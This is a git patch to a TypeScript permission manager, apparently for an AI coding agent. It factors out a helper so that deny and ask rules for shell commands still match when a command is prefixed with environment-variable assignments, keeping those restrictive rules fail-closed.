36/36] fix(core): keep restrictive Bash rules fail-closed --- .../src/permissions/permission-manager.ts | 210 +++++++----------- 1 file changed, 80 insertions(+), 130 deletions(-) diff --git a/packages/core/src/permissions/permission-manager.ts b/packages/core/src/permissions/permission-manager.ts index 8d4be3594a7..83e888c8946 100644 --- a/packages/core/src/permissions/permission-manager.ts +++ b/packages/core/src/permissions/permission-manager.ts @@ -69,6 +69,78 @@ const DECISION_PRIORITY: Readonly> = { allow: 0, }; +/** + * Restrictive shell rules retain the legacy no-env identity as an additional + * match shape. Both the command and an env-prefixed rule specifier are stripped + * together so tightening allow-rule identity can never make deny/ask fail open. + * Assignment-only restrictive rules deliberately have no stripped fallback: + * stripping them to an empty specifier would broaden them to the whole tool. + */ +function matchesRestrictiveRule( + rule: PermissionRule, + ctx: PermissionCheckContext, + pathCtx: PathMatchContext | undefined, +): boolean { + const { + toolName, + toolAliases, + command, + filePath, + domain, + specifier, + toolParams, + } = ctx; + + const match = ( + candidateRule: PermissionRule, + candidateCommand: string | undefined, + ): boolean => + matchesRule( + candidateRule, + toolName, + candidateCommand, + filePath, + domain, + pathCtx, + specifier, + toolParams, + toolAliases, + 'canonical', + ); + + if (match(rule, command)) { + return true; + } + + if ( + command === undefined || + !SHELL_TOOL_NAMES.has(resolveToolName(toolName)) + ) { + return false; + } + + const strippedCommand = stripLeadingVariableAssignments(command); + if (!strippedCommand || strippedCommand === command) { + return false; + } + + let fallbackRule = rule; + if ( + rule.specifier !== undefined && + (rule.specifierKind === 'command' || SHELL_TOOL_NAMES.has(rule.toolName)) + ) { + const strippedSpecifier = stripLeadingVariableAssignments(rule.specifier); + if (!strippedSpecifier) { + return false; + } + if (strippedSpecifier !== rule.specifier) { + fallbackRule = { ...rule, specifier: strippedSpecifier }; + } + } + + return match(fallbackRule, strippedCommand); +} + /** * Minimal interface for the parts of Config used by PermissionManager. * Keeps the dependency explicit and avoids a circular import on the @@ -406,21 +478,6 @@ export class PermissionManager { toolAliases, ] as const; - const restrictiveCommand = - command !== undefined && SHELL_TOOL_NAMES.has(toolName) - ? stripLeadingVariableAssignments(command) - : command; - const restrictiveMatchArgs = [ - toolName, - restrictiveCommand, - filePath, - domain, - pathCtx, - specifier, - toolParams, - toolAliases, - ] as const; - // Compute the base decision from explicit Bash/file/domain rules. // Using an IIFE to keep the priority-cascade logic clean. const baseDecision: PermissionDecision = (() => { @@ -431,24 +488,14 @@ export class PermissionManager { ...this.sessionRules.deny, ...this.persistentRules.deny, ]) { - if ( - matchesRule(rule, ...matchArgs, 'canonical') || - (restrictiveCommand !== command && - matchesRule(rule, ...restrictiveMatchArgs, 'canonical')) - ) - return 'deny'; + if (matchesRestrictiveRule(rule, ctx, pathCtx)) return 'deny'; } // Priority 2: ask rules for (const rule of [ ...this.sessionRules.ask, ...this.persistentRules.ask, ]) { - if ( - matchesRule(rule, ...matchArgs, 'canonical') || - (restrictiveCommand !== command && - matchesRule(rule, ...restrictiveMatchArgs, 'canonical')) - ) - return 'ask'; + if (matchesRestrictiveRule(rule, ctx, pathCtx)) return 'ask'; } // Priority 3: allow rules for (const rule of [ @@ -920,16 +967,7 @@ export class PermissionManager { */ findMatchingDenyRule(ctx: PermissionCheckContext): string | undefined { ctx = this.normalizePermissionContext(ctx); - const { - toolName, - toolAliases, - command, - cwd, - filePath, - domain, - specifier, - toolParams, - } = ctx; + const { cwd } = ctx; const pathCtx: PathMatchContext | undefined = this.config.getProjectRoot && this.config.getCwd @@ -939,41 +977,11 @@ export class PermissionManager { } : undefined; - const matchArgs = [ - toolName, - command, - filePath, - domain, - pathCtx, - specifier, - toolParams, - toolAliases, - ] as const; - - const restrictiveCommand = - command !== undefined && SHELL_TOOL_NAMES.has(toolName) - ? stripLeadingVariableAssignments(command) - : command; - const restrictiveMatchArgs = [ - toolName, - restrictiveCommand, - filePath, - domain, - pathCtx, - specifier, - toolParams, - toolAliases, - ] as const; - for (const rule of [ ...this.sessionRules.deny, ...this.persistentRules.deny, ]) { - if ( - matchesRule(rule, ...matchArgs, 'canonical') || - (restrictiveCommand !== command && - matchesRule(rule, ...restrictiveMatchArgs, 'canonical')) - ) { + if (matchesRestrictiveRule(rule, ctx, pathCtx)) { return rule.raw; } } @@ -1124,27 +1132,9 @@ export class PermissionManager { toolAliases, ] as const; - const restrictiveCommand = - command !== undefined && SHELL_TOOL_NAMES.has(toolName) - ? stripLeadingVariableAssignments(command) - : command; - const restrictiveMatchArgs = [ - toolName, - restrictiveCommand, - filePath, - domain, - pathCtx, - specifier, - toolParams, - toolAliases, - ] as const; - return ( - restrictiveRules.some( - (rule) => - matchesRule(rule, ...matchArgs, 'canonical') || - (restrictiveCommand !== command && - matchesRule(rule, ...restrictiveMatchArgs, 'canonical')), + restrictiveRules.some((rule) => + matchesRestrictiveRule(rule, ctx, pathCtx), ) || allowRules.some((rule) => matchesRule(rule, ...matchArgs)) ); } @@ -1160,16 +1150,7 @@ export class PermissionManager { */ hasMatchingAskRule(ctx: PermissionCheckContext): boolean { ctx = this.normalizePermissionContext(ctx); - const { - toolName, - toolAliases, - command, - cwd, - filePath, - domain, - specifier, - toolParams, - } = ctx; + const { toolName, command, cwd } = ctx; const pathCtx: PathMatchContext | undefined = this.config.getProjectRoot && this.config.getCwd @@ -1229,38 +1210,7 @@ export class PermissionManager { } } - const matchArgs = [ - toolName, - command, - filePath, - domain, - pathCtx, - specifier, - toolParams, - toolAliases, - ] as const; - - const restrictiveCommand = - command !== undefined && SHELL_TOOL_NAMES.has(toolName) - ? stripLeadingVariableAssignments(command) - : command; - const restrictiveMatchArgs = [ - toolName, - restrictiveCommand, - filePath, - domain, - pathCtx, - specifier, - toolParams, - toolAliases, - ] as const; - - return askRules.some( - (rule) => - matchesRule(rule, ...matchArgs, 'canonical') || - (restrictiveCommand !== command && - matchesRule(rule, ...restrictiveMatchArgs, 'canonical')), - ); + return askRules.some((rule) => matchesRestrictiveRule(rule, ctx, pathCtx)); } private hasAskRuleForTool(toolName: string): boolean {